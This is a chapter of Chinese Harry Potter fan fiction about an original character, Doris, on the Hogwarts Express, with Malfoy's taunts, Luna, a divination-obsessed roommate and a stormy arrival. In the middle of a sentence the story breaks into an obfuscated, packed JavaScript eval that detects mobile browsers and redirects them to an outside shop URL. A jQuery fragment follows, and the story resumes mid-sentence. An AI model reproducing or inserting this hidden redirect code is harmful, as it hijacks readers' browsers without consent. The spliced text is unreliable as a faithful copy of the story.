“不知道他们修改了什么章程……”罗恩嘟囔着说，“神神秘秘的，明明他们都知道，就是不愿意告诉我们。”
“话说今年圣诞节你还打算回家吗？”哈利问，“刚刚韦斯莱夫人还说我们应该都情愿留在学校。”
“我肯定会回去啊，”多丽丝说，“去年圣诞节我就已经没有回家了呢，而且，哈利，我爸爸妈妈还说要邀请你来过圣诞节呢。”
“这么急着回家过圣诞节，是怕找不到舞伴吗？”一个讨厌的、拖腔拉调的声音从他们的背后传来。多丽丝不用想都知道是谁，果然，马尔福苍白的尖脸出现在了她的视野里，克拉布和高尔跟在他后面傻笑着。
“你在说什么呀？”罗恩有些恼火地问。
“莫非你还不知道？”马尔福苍白的脸上泛起了一丝红晕，“你爸爸和你哥哥都在魔法部工作，你居然会不知道？”他发出一阵令人恼火的嗤笑，“我的天哪，我爸爸好久之前就已经告诉我了，是听康奈利·福吉亲口说的……我爸爸接触的都是魔法部的高层人物，或许是你爸爸的级别太低了，韦斯莱……他们估计从来不在你爸爸面前谈论什么重要的事情……”
“我还是那句话，”多丽丝冷冷地说，“要么解释一下你的话，要么就走开。”
“嘿，这是什么？”马尔福指着从小猪的笼子上挂下来的那条发霉了的带花边的袖子，非常开心地笑了，“天哪——它在十八世纪九十年代左右还是非常时髦的，你要和幽灵一起参加吗……”
“我们好像并没有邀请你来参与我们的谈话，马尔福。”哈利把罗恩的那件礼服长袍的袖子从马尔福的手里非常用力地抽了出来，用明显厌恶的语气说。
“怎么了，波特？”马尔福得意地说，“戳到你的痛点了？你要是稍微打扮打扮，梳梳你的头发，说不定金塞拉会愿意和你一起去呢。不过要小心……别被别人抢了先……”
“你是只会说半截话吗？”哈利冷冷地说，“还是说你只是想找个人陪你说话？难道克拉布和高尔已经蠢到听不懂你说的话的地步了吗？”
克拉布和高尔脸上的傻笑突然就凝固了，他们的脸一下子涨红了，开始恶狠狠地揉着他们板栗一般的指关节。
“尽管冷嘲热讽吧，波特，”马尔福脸上的笑容也消失了，“还有，韦斯莱，希望到时候你不是唯一一个找不到舞伴的人。”他朝克拉布和高尔做了个手势，转身回到他们的包厢里去了。
“罗恩！”赫敏责备地说，把罗恩已经捏紧了魔杖的手按了回去。
“真倒霉……就好像他什么都知道一样，”他们看到一个空的包厢，鱼贯而入，罗恩狠狠地把他的那件礼服长袍扔到了行李架的最里面，似乎再也不想看它一眼，“我们全都蒙在鼓里，‘爸爸接触的都是魔法部的高层人物’……我爸爸随时都能提升，他只是喜欢他现在的这个位置……”
“好了，罗恩，别让马尔福影响你的心情。”赫敏说，从书包里翻出了《标准咒语（四级）》，埋头读了起来。
“他才不会影响我的情绪呢！”罗恩涨红了脸，拿出了韦斯莱夫人给他准备的三明治（这次终于不是咸牛肉的了），把它捏成了一团。
“不过马尔福到底在说什么舞伴？”多丽丝有些好奇地问，不管马尔福说了什么，她都绝对不会让他影响自己刚刚因为和爸爸妈妈的约定而好起来的心情，“听起来像是圣诞节的时候会发生的事情。”
“不知道，”赫敏说，她从书本中抬起头，用调侃的语气说，“不过，哈利，如果马尔福说的是真的，那个舞伴什么的……你会和多丽丝一起去参加吗？”
“赫敏！”多丽丝和哈利异口同声地说，哈利急忙解释道，“我怎么可能……你明明知道……”
多丽丝感觉自己脸颊一热，有些责备地说，“我说过了……”
“说过什么？”哈利问。
“没什么，”赫敏看了多丽丝一眼，露出了调皮的笑容，“不开玩笑了，话说你不是答应了金妮要去和她们坐在一起的吗？”
“是啊，”多丽丝说，“好吧，我确实该走了。”
“朋友太多的烦恼就是这些了，”赫敏笑着说，“待会儿见。”
多丽丝找到金妮的时候，包厢里非常热闹，杰奎琳、卢娜、艾琳娜、格温德琳、加上格温的小弟弟莱昂纳多都在包厢里，小小的行李架因为一下子承载了太多的行李，发出了一阵阵的哼声。
“这么多人？”多丽丝惊讶地说，把克莱奥的笼子和自己的箱子叠放到了其他人的箱子上（行李架发出一声尖叫以示抗议），在杰奎琳旁边的那仅剩的一小块地方上坐了下来。
“本来只有金妮和卢娜的，”在艾琳娜的大笑声的掩护下，杰奎琳撅着嘴，有些不满地说，“艾琳娜非要把他们两个也拉过来。”
“嘿，多丽丝，”要不是卢娜的声音和她那一头乱糟糟的金发实在有特点，多丽丝差点都认不出来那是卢娜，她正带着一副非常奇怪的、色彩缤纷的眼镜，面前的那本杂志是倒着放的，“你知道你的头发上沾了一片羽毛吗？”
“噢，谢谢你，”多丽丝伸手拂去了发梢上沾到的那片克莱奥的猫头鹰羽毛，“你在看什么？”
“《唱唱反调》，”卢娜似乎很高兴有人会来问这个问题，她把那副奇怪的眼镜摘了下来，兴奋地说，“我之前和你提到过的，我爸爸主编的一本杂志，还记得我上学期和你提到的弯角鼾兽吗？就写在这里。”
卢娜把杂志递了过来，“在这里，我暑假和爸爸一起去找了来着，它们有的时候会用魔法隐藏自己，所以要戴上这副眼镜才能看得清。”
多丽丝带上了卢娜递过来的那副眼镜，眼前的世界一下子变成了灰绿色，她眯着眼睛在那幅图画上仔细寻找，在卢娜手指的地方细细观察，可她除了感到一阵头晕之外，什么都没有看见。
“你看不见也很正常，”卢娜看起来还是很高兴，“很多人第一次看都看不见。”
“……丽痕书店给买了全套经典占卜学书籍的人都送了一个水晶球，你们看！”艾琳娜的大笑声再一次传遍了包厢，多丽丝看见本就害羞的小莱昂纳多又害怕地往姐姐怀里缩了缩。
“占卜真是酷极了，是不是！”艾琳娜兴奋地说，把水晶球放到了包厢中间的小桌子上，“有人想看看吗？我觉得我已经看到东西了。”
没有人接话，一时间气氛有些尴尬，杰奎琳和金妮毫不掩饰地把头偏了过去，卢娜依旧沉浸在弯角鼾兽的世界里，莱昂纳多有些不自在地抠着手指，最后，还是，格温德琳站出来说了句话，打破了有些僵硬的气氛。
“我想我们都没有学过，可能确实看不出来。要不你说说呢？”多丽丝在心里暗暗佩服格温德琳的包容能力。
“多丽丝，你要来看看吗？”艾琳娜并没有看出大家的兴致都不高，依旧不依不饶地问着，“也许你是最有感触的，上学期……”
多丽丝心里又感到了一阵烦躁，她不能明白艾琳娜奇怪的兴奋点，上学期最后她们在尖叫棚屋里和那个臭名昭著的杀人犯进行了殊死搏斗的那件事情（至少艾琳娜听到的版本是这样）难道在她看来是什么非常有趣的事情吗？特里劳尼教授做梦一般的话语难道是什么好玩的事情吗？就因为一个“月圆之夜”，艾琳娜现在已经把特里劳尼教授封为神谕了。
“我想我记得她上学期说了什么，谢谢你的提醒。”考虑到自己还要和艾琳娜同吃同住5年，不想把话说得那么绝，多丽丝努力压制住话语里的火气，冷笑了一声。
“这还用看吗？”金妮尖锐地说，“这很明显，今天夜里会起大雾。”
杰奎琳在一旁笑了，多丽丝在心里暗暗佩服金妮的“毒舌”功力，艾琳娜一下子被塞住了话，有些尴尬地摆了摆手。似乎实在觉得这些凡人不能够理解占卜学的精妙之处，她有些遗憾地摇了摇头，把水晶球收了起来。
“话说，你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569673|166648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们的清单上有礼服长袍这个东西吗？”格温德琳问。
“当然有，”金妮说，“虽然我们不知道它是用来干什么的。”
“噢，大概率是有什么舞会之类的，”格温德琳温和地说，“我爸爸也有几件，反正都是非常非常正式的场合才会穿的。”
“真的吗？刚刚马尔福还在念叨着舞伴什么的，我还以为他在没话找话呢。”
“大概是他爸爸听部长说了什么吧，”格温德林说，“我爸爸说福吉和马尔福一家的关系很好，但他说他个人不是很喜欢福吉的处事风格。”
“管他呢，”艾琳娜又变得兴奋了起来，“你们都买了吗？要不要拿出来看看！”说着，她迅速地从行李架上拿起了自己的箱子，在里面一阵乱翻，终于找到了那个包装非常精美的礼服长袍，艾琳娜挑选的礼服长袍是粉紫色的，有很多非常惹眼的褶皱和蕾丝花边，夸张的泡泡袖和大裙摆让多丽丝不禁开始想象艾琳娜穿上它的样子——大概率会像一个巨大的奶油蛋糕吧。
“怎么样？”艾琳娜得意地说，“看看你们的！”
“算了，到时候再拿出来也不迟，”杰奎琳皱了皱眉，“提早拿出来就没有惊喜了。”
多丽丝知道杰奎琳和艾琳娜一直都不对付，她也明显地感觉出来杰奎琳确实非常的不自在，幸运的是，到了下午，艾琳娜终于拉着格温德琳到别的包厢串门去了，杰奎琳看着一下子宽敞起来了的座椅，长长地舒了一口气。
“她真的看不出来别人不想接她的话吗？”杰奎琳叹了口气说。
“她一直都有点‘缺心眼’的嘛，你又不是第一天认识她。”金妮愉快地说，从《格韦诺格·琼斯小传》的连环画里抬起头，“话说我们今年终于可以去霍格莫德了，你们俩想好要去看什么了吗？”
“蜂蜜公爵，”多丽丝说，想起了去年圣诞节的时候哈利送的一大把各式各样、花花绿绿的糖果，“绝对值得一去，据说三把扫帚的黄油啤酒也不错，霍格莫德一年四季都在下雪，听说黄油啤酒能让你全身都暖起来。”
“我一定要去佐科笑话店，”金妮说，“弗雷德和乔治经常从那里带回来一些好玩的东西。我甚至觉得他们俩的笑话商店的灵感就是从那里来的。”
天色越来越黑，列车轰隆隆地驶过那片荒芜的原野的时候，多丽丝就隐隐约约感觉到了不对劲，窗外的雨点声越来越大，劈里啪啦地打在车窗上，并且有越来越猛烈之势。果然，当列车终于停靠在霍格莫德车站的时候，那边的天气已经可以用“狂风暴雨”来形容了，站台上的积水将灯光反射得一片透亮。
“我不敢相信，居然要在这种天气坐船渡湖，”格温德琳把弟弟脖子上的围巾又紧了紧，有些担心地说，“小心点，莱昂纳多，别掉进水里了。”
“坐车也好不到哪去啊，”金妮看着那些没有马拉着的马车的座位上满满的积水，苦笑了一声，“这全都是水。”
“有一个咒语或许有用，”多丽丝灵机一动，“防水防湿，”她指着自己的长袍下摆说，“这样就不会弄湿了。”
“好主意。”杰奎琳说，其他人也纷纷效仿。
然而，就算她们能让自己在坐车的时候不弄湿裤子，下车之后走过的那一片小树林也还是让她们的袍子下摆溅满了泥点，风越来越大，等他们终于看到城堡的大门的时候，多丽丝的全身都冻僵了，雨水顺着她的头发滴下来，流进她的衣领里，让她浑身不舒服。
“快进去吧。”杰奎琳的牙齿都在打颤，“外面简直和冰窖一样。”
“你们还好吗？”夏洛特·摩尔从旁边探出头来，多丽丝不知道她什么时候站到自己旁边来的。
“除了全身湿透，都挺好的。”多丽丝说。
“小心点，别感冒了，”夏洛特说，“今年还有比赛呢，我们的任务重着呢。”
“她和伍德关系好不是没有原因的。”杰奎琳望着夏洛特的背影，吃惊地说。